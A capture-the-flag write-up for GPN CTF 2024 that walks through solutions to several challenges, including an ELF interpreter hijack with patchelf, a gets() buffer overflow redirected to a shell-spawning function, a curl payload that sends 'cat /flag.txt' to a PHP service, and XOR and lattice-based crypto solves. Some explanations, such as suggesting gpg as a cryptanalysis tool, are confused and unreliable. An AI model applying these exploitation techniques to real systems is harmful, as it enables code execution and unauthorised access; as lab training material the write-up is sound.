Download as pdf or txt
Download as pdf or txt
You are on page 1of 28

GPN CTF 2024

https://play.ctf.kitctf.de

itachiuchiha
CHALLENGES THAT I MANAGE TO SOLVE

1. YOU KNOW THE RULES AND SO DO I


2. A FULL SOLVE'S WHAT I'M THINKING OF
3. NEVER GONNA GIVE YOU UB
4. NEVER GONNA LET YOU CRYPTO
5. NEVER GONNA RUN AROUND AND REVERSE YOU
6. NEVER GONNA TELL A LIE AND TYPE YOU
7. BOOMBOX
YOU KNOW THE RULES AND SO DO I
KITCTF

Description
Do you really?
A FULL SOLVE'S WHAT I'M THINKING OF
MisterPine

Description

Exciting news! Our chief scientists found a way to do frequency analysis on binary files.
Surprinsingly it isn't just changing the file ending to .mp3 and putting it into Audacity. Have a try
for yourself below!

Note: The binary /catflag prints the flag

Hint: This challenge is about ELF Binaries (Linux executables)

SPAWN CHALLENGE INSTANCE

ncat --ssl a-full-solve.ctf.kitctf.de 443

Team token:
First, we will connect to the instance.

A web page is opened like this:

This challenge I am not able to do until I get huge hints (yeah multiple hints) from
MisterPine. Thanks to you.

Let’s just create a simple hello world program in C language.

Compile it:

gcc -o hello_world hello_world.c


After you compile the binary will be generated. Now let’s upload the binary on Binary
analyzer website.

I also tried a program after this which will execute cat /catflag from the server. But it’s not
the case. The result is pretty much same.

I have done many more failed attempts and almost spent like 8 or 9 hours consistently on
this particular problem only and also got lot of indirect hint from MisterPine I was
unsuccessful.

Until, I got the next hint which led me to this post https://klamp.works/2016/04/15/code-
exec-ldd.html

In the blog post, there are actually 2 ways to solve this challenge. And I went to the first one.
The other one is done by port19 here https://port19.xyz/tech/gpn-ctf-2024-writeup/

After going through the post, I learnt about ldd. And inside ldd I found out that,

That’s the interesting thing.


Running a tool like readelf or objdump on a dynamically linked ELF file like hello_world, you
will see an INTERP program header. This points to the .interp section which holds a string
value, usually something like /lib64/ld-linux-x86-64.so.2

The contents of the .interp section is literally an ASCII string of the file path to the
interpreter. The output of readelf told us that this section can be found at offset 0x318 of the
ELF file and is 0x1c bytes long.
Note that the dot at the end after the 2 is simply the way xxd represents non-printable
characters, in this case 0x00 (the string terminator in C).

Now we know some basics, let’s implement the actual method to solve the challenge.

My way is to change the ELF interpreter is by compiling the source to an object file and then
manually invoking the linker with the -dynmic-linker switch.

In the blog there are 2 programs one is hello_world and other is hello_satan. So, I am going
with the same names for both programs.

As I have already created hello_world.c, now I will try hello_satan.c. Both programs are
shown in the screenshot below.

Now I will just compile both programs and make a binary file which I will upload on website
and get will hopefully, we will get the flag.

$ sudo clang -static hello_satan.c -o /catflag


$ clang hello_world.c -o aaa

Now we will use patchelf to modify the ELF executables. We are changing dynamic loader of
ELF executable, and to do that we have to use --set-interpreter flag in patchelf command.

$ patchelf --set-interpreter /catflag aaa

We created out executable binary file with the name aaa, so now we just need to upload this
file on the instance website.
GPNCTF{L00ks_l1k3_y0u_h1t_th3_r1ght_tun3}

NEVER GONNA GIVE YOU UB


MisterPine

Description

Can you get this program to do what you want?

File attached:

SPAWN CHALLENGE INSTANCE

ncat --ssl never-gonna-give-you-ub.ctf.kitctf.de 443

Team token:
First, we will connect to the instance.

We connect to the instance, and we seen that we have to enter a song. So I just put the song
name which is very popular and it’s on the image title also of this challenge.

I don’t know now what exactly I have to do. So, I open the attached files to see what’s inside
them and hopefully we will get something by which we can find some vulnerability.

There is a file name song_rater.c file. Let’s see the code inside the file.

After analyzing the code, I found some vulnerabilities in the code. Let’s analyze the code:

- Function scratched_record:

void scratched_record() {
printf("Oh no, your record seems scratched :(\n");
printf("Here's a shell, maybe you can fix it: \n");
execve("/bin/sh", NULL, NULL);
}
This function prints an error message and then attempts to open a shell using the execve
system call. execve("/bin/sh", NULL, NULL) replaces the current process with a new process
running the shell (/bin/sh).
- Declaration of gets function:

extern char *gets(char *s);


The gets function reads a line from standard input into the buffer s until a newline or EOF is
encountered. gets is deprecated and unsafe because it does not perform bounds checking.

Security Analysis:

• Buffer Overflow Vulnerability: The use of gets(buf) is dangerous because it does not
check the length of the input. An attacker can exploit this by providing input longer than
255 bytes, which overflows the buffer buf and can overwrite adjacent memory.
• Potential Exploit: An attacker could overwrite the return address of the main function
or other critical control data to redirect execution to the scratched_record function. This
would grant the attacker a shell and potentially full control of the system running the
program.

Exploit Scenario:

1. Buffer Overflow: The attacker inputs more than 255 characters, including a crafted
payload that overwrites the return address to point to scratched_record.
2. Shell Access: When the main function returns, the overwritten return address causes
the execution of scratched_record, providing the attacker with a shell.

Now let’s make python script to do Buffer Overflow but before that we need hex address of
scratched_record method.
We have Host address: only-time—blue-lagoon-2008.ctf.kitctf.de
port: 443
offset: 264 → which is the length of our payload you can say.
scratched_record hex address: 0x401196

Finaly Python script is:

How the Exploit Works:

• The script connects to the target service.


• It sends the payload which overflows the buffer and overwrites the return address with
the address of the scratched_record function.
• When the vulnerable function (main) returns, it jumps to the scratched_record function
instead of the intended return address.
• The scratched_record function opens a shell, which the script then interacts with, giving
the attacker remote access to the system.

GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk…}
NEVER GONNA LET YOU CRYPTO
s1nn105

Description

You read the title and thought Blockchain? You were successfully baited. Like the people before you,
you now have to solve this challenge.
This challenge gave a chall.py and a file with the encrypted flag.

Inside of chall.py and FLAG.enc:

The task is to decrypt the given encrypted message


d24fe00395d364e12ea4ca4b9f2da4ca6f9a24b2ca729a399efb2cd873b3ca7d9d1fb3a66a9b73
a5b43e8f3d using the provided encryption method from chall.py. The encryption uses a
repeating XOR key of length 5.

Here is a step-by-step solution to decrypt the message:

1. Understand the Encryption Method:


a. The message is converted to bytes.
b. Each byte of the message is XORed with a corresponding byte of the key
(repeated as necessary).
c. The result is converted to a hexadecimal string.
2. Identify the Known Part:
a. The known part of the plaintext is GPNCTF{.
b. We use this to derive the key.
3. Extract the Key:
a. By XORing the known plaintext with the corresponding part of the ciphertext,
we can derive the key.
b. The known plaintext length is 7, but the key length is 5, so we use the first 5
bytes.
4. Decrypt the Entire Message:
a. Once the key is derived, we can decrypt the full ciphertext using the same XOR
operation in reverse.
After trying multiple ways, and got real good hints from Maxim and G4i70nd3. I am finally
able to make my python script to get the flag.

The hint I got is:

Think about like the standard xor equations like a ^ b = c if and only if a = c ^ b ( where ^ is
the xor operation)

Now we just need to run the script and we will get the flag.
NEVER GONNA RUN AROUND AND REVERSE YOU
Description

I thought of this really cool collision free hash function and hashed the flag with it. Theoretically
you shouldn't be able to reverse it...
This challenge gave a binary that runs a hash function as well as the hashed flag.

At first I ran the binary through strings and xxd, and with strace and ltrace to no avail.

I then tested various inputs, quickly noticing that the hashing function is linear. What do I
mean by that? Well, a character in the input string maps to a fixed number of digits in the
output string, usually two. The early characters influence later characters, but not the other
way around. If there was no influence at all, we could quickly build a substitution table, but
this is still fine.

To get the flag I wrote a python script that builds up the flag, checking each character for
matching hash output as it appends it. The code speaks for itself:

The provided script attempts to find the flag by brute-forcing each character, one by one, to
match a given target hash. It uses a hashing executable (hasher) to generate a hash for each
guessed flag string and compares it to the target hash.
NEVER GONNA TELL A LIE AND TYPE YOU
Description

todo

SPAWN CHALLENGE INSTANCE

ncat --ssl never-gonna-tell-a-lie-and-type-you.ctf.kitctf.de 443

Team token:
This challenge gave a Dockerfile and some PHP code.

The Dockerfile told me there was a file called flag.txt under the root directory, making the
objective pretty obvious. What was less obvious was how to talk to the server and how the
hell this PHP worked.

Dockerfile:

index.php:
Exploiting the Vulnerability

1. Understanding the PHP Code: The PHP code provided has a vulnerability in the
securePassword function. If the length of the user input password is less than 10,000
characters, the script dies. However, it generates a pseudo-secure password by
multiplying the user input password with a large integer.
2. Creating the Payload: We need to craft a payload that satisfies the conditions of the
PHP code and retrieves the flag. The payload needs to have:
a. A user agent of “friendlyHuman”.
b. A user input password of length at least 10,000 characters.
c. A command to retrieve the flag (cat /flag.txt).
3. Executing the Payload: We’ll use curl to send a POST request to the target website
with the crafted payload.

Crafting and Executing the Payload

# Craft the payload

large_int_pass=$(python3 -c 'print("1" * 10000)')

payload='{"user":"admin🤠", "password":"'$large_int_pass'", "command":"cat


/flag.txt"}'

# Execute the payload with curl

curl -X POST -d "data=$payload" -H "User-Agent: friendlyHuman" https://boulevard-of-


broken-dreams--the-fray-1366.ctf.kitctf.de

Explanation

• We create a large password of 10,000 characters using Python.


• We craft a JSON payload with the username admin , the large password, and the
command to retrieve the flag.
• We send a POST request to the target website with the crafted payload and a user-
agent header set to “friendlyHuman”.

Expected Output

If successful, the curl command should return the contents of the flag file.
BOOMBOX
Description

I have no clue of rust and no clue of crypto, but then with no challenge I stood crying in the rain
and rusted.

Files

boombox.tar.gz
main.rs

output.txt

It's a type of puzzle that requires you to find the correct flag by manipulating the output of
the program.

The program uses the `rand` crate to generate random numbers, and the `num` and
`num_bigint` crates for arithmetic operations with big integers.

The `compose` function generates a set of prime numbers, a modulus `m`, and a tune `t`. The
`record` function takes a message and the mic values generated by the `compose` function,
and returns the sum of the mic values for the bits in the message that are set to 1.

The `main` function generates the mic values, and then uses them to encode a message. The
message is the flag, which is "GPNCTF{fake_flag}".
To solve the challenge, we need to find the correct mic values that will decode the message.
The output of the program is a list of mic values, and the challenge is to find the correct
combination of these values that will decode the message.

Here are some possible ways to approach this challenge:

1. Brute force: Try all possible combinations of the mic values to see if any of them
decode the message.
2. Analyze the program: Study the `compose` and `record` functions to understand how
they generate the mic values and how they are used to encode the message. Look for
patterns or relationships between the mic values and the message bits.
3. Use a cryptanalysis tool: There are several tools available that can help you analyze
and crack cryptographic challenges like this one. You can try using a tool like
`coppersmith` or `gpg` to see if it can help you find the correct mic values.

After detailed analysis and random hints from fellow hackers I am finally able to understand
a little, and finally came up with a solution which uses SageMath script to decode the
message using the LLL (Lenstra-Lenstra-Lovász) lattice basis reduction algorithm.

The script begins by defining a list of target sums, each representing a portion of the
encoded message:
Vector Initialization

For each target sum, a vector `v` is created, which includes values from the encoded
message (`mictape`) and the target sum itself:

for target_sum in targets:


v=[
26164716679782610683071400, 18179536354421749943360181, 5665675605611009327234952,
50306696368015064022136043, 9760129112235435790997053, 55666059844053563833206217,
16844592035444290437017126, 38380596544512184351649759, 8422829610606521010459307,
61991593557938451876941660, 39790447025261860761497646, 48017326044343373440883482,
56020453465553890215405886, 33717630577181456697432100, 38446470352430301120764167,
11956286975976159307849939, 47803055605410068453065938, 45915004803511711931436810,
24482601816186282662870243, 25803830771195376281772430, 35407508732033692038517544,
61180319487483561607584508, 25231125861794574504466017, 8313835456593256084156278,
17127389362891025344120144, 21245871665329880303420019, 38878412244851399679662521,
38873829041129616412914108, 55803139319518810427462325, 4480398056669715718609757,
16723813500382973499318355, 46788850793793785768241956, 18363270968918184887203944,
2919614635435884742895127, 38003982387728441304493811, 5066781076320234588607777,
2160276302660722051676110, 47965211574081273776856665, 14735899017054553490198493,
14455868058721210953072395, 59777806226033755809142580, 43667948754413413362501037
]
v.append(target_sum)
v = vector(v)

Matrix Construction and LLL Algorithm

The script constructs an identity matrix and augments it with the vector `v`. The LLL (Lenstra–
Lenstra–Lovász) algorithm is then applied to reduce this matrix:

M = identity_matrix(len(v) - 1)
M = M.stack(vector([1/2] * (len(v) - 1)))
M = M.augment(v)
L = M.LLL()
result = L[0][:-1]

Extracting Bits

Using the reduced matrix, the script extracts a binary string (`bits`) by comparing each entry
in the result vector with the first value (`bit_0`):

bit_0 = result[0]
bits = ''
for i in range(len(result)):
bits += '0' if result[i] == bit_0 else '1'
Validation and Correction

The script validates if the sum of the selected values matches the target sum. If not, it inverts
the bits and checks again:

if (sum([v[i] for i in range(len(v) - 1) if bits[i] == '1']) == target_sum):


print(bits)
elif (sum([v[i] for i in range(len(v) - 1) if bits[i] == '0']) == target_sum):
bits = ''.join(['1' if bits[i] == '0' else '0' for i in range(len(bits))])
print(bits)
else:
print("Error")

Reconstructing the Message

After processing all target sums, the final bit string is converted back to characters to reveal
the original message:

bits =
'01000111010100000100111001000011010101000100011001111011011000100110000101100011011010
110111000000110100011000110110101101011111011100100011010001110000010111110110001101110
010011000010111000000101100010111110111100101100001011100000010110101111001011000010111
000000101100010111110111100101100001011000110110101100110001011101000111100100101101011
1100101100001011000110110101101'
chars = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)]
print(''.join(chars))

After running sage, it will also generate a python script which is automated script by sage.

GPNCTF{backp4ck_r4p_crap,_yap-yap,_yack1ty-yack}

You might also like